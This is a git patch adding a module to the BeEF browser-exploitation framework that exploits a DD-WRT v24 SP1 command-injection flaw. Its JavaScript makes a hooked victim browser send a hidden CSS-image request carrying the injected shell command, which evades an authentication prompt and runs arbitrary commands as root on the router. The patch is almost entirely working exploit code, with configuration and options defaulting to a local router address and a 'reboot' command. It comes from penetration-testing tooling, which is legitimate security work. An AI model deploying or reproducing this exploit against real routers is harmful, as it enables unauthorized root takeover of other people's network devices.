From f490faa858cff7339f791423785981accd4b2974 Mon Sep 17 00:00:00 2001
From: soh_cah_toa <soh_cah_toa@cybercrud.net>
Date: Mon, 16 Jun 2014 09:56:27 -0400
Subject: [PATCH] Added module for DD-WRT v24 SP1 RCE vulnerability (issue
 #1006).

---
 .../router/ddwrt_v24_sp1_cmd_exec/command.js  | 26 ++++++++++++++++++
 .../router/ddwrt_v24_sp1_cmd_exec/config.yaml | 18 +++++++++++++
 .../router/ddwrt_v24_sp1_cmd_exec/module.rb   | 27 +++++++++++++++++++
 3 files changed, 71 insertions(+)
 create mode 100644 modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js
 create mode 100644 modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml
 create mode 100644 modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb

diff --git a/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js
new file mode 100644
index 000000000..cd61a105d
--- /dev/null
+++ b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js
@@ -0,0 +1,26 @@
+//
+// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+    var host = '<%= @host %>';
+    var cmd  = '<%= @cmd %>';
+    var path = 'cgi-bin/;';
+
+    if (!host.match(/\/$/))
+        host += '/';
+
+    if (cmd.indexOf(' ') != -1)
+        cmd = cmd.replace(/\s+/g, '$IFS');
+
+    // Prevent auth dialog by generating the request via a CSS URL instead of an invisible iframe.
+    var ddwrt_div_<%= @command_id %> = document.createElement('div');
+    ddwrt_div_<%= @command_id %>.setAttribute('style', 'background-image: url("' + host + path + cmd + '")');
+    document.body.appendChild(ddwrt_div_<%= @command_id %>);
+
+    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted');
+
+    setTimeout(function() { document.body.removeChild(ddwrt_div_<%= @command_id %>) }, 15 * 1000);
+});
diff --git a/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml
new file mode 100644
index 000000000..80323b501
--- /dev/null
+++ b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml
@@ -0,0 +1,18 @@
+#
+# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        ddwrt_v24_sp1_cmd_exec:
+            enable: true
+            category: ['Exploits', 'Router']
+            name: 'DD-WRT v24 SP1 Command Execution'
+            description: 'DD-WRT v24 SP1 fails to properly handle metacharacters in the
+                HTTP management interface. This module abuses that flaw by injecting
+                metacharacters to allow an unauthenticated attacker to execute arbitrary
+                commands as the root user.'
+            authors: ['soh_cah_toa']
+            target:
+                working: ['ALL']
diff --git a/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb
new file mode 100644
index 000000000..9cad9bb6d
--- /dev/null
+++ b/modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb
@@ -0,0 +1,27 @@
+#
+# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Ddwrt_v24_sp1_cmd_exec < BeEF::Core::Command
+
+    def self.options
+      return [
+        {
+          'name' => 'host',
+          'ui_label' => 'Router web root',
+          'value' => 'http://192.168.1.1/'
+        },
+        {
+          'name' => 'cmd',
+          'ui_label' => 'Command',
+          'value' => 'reboot'
+        }
+      ]
+    end
+
+    def post_execute
+      save('result' => @datastore['result'])
+    end
+
+end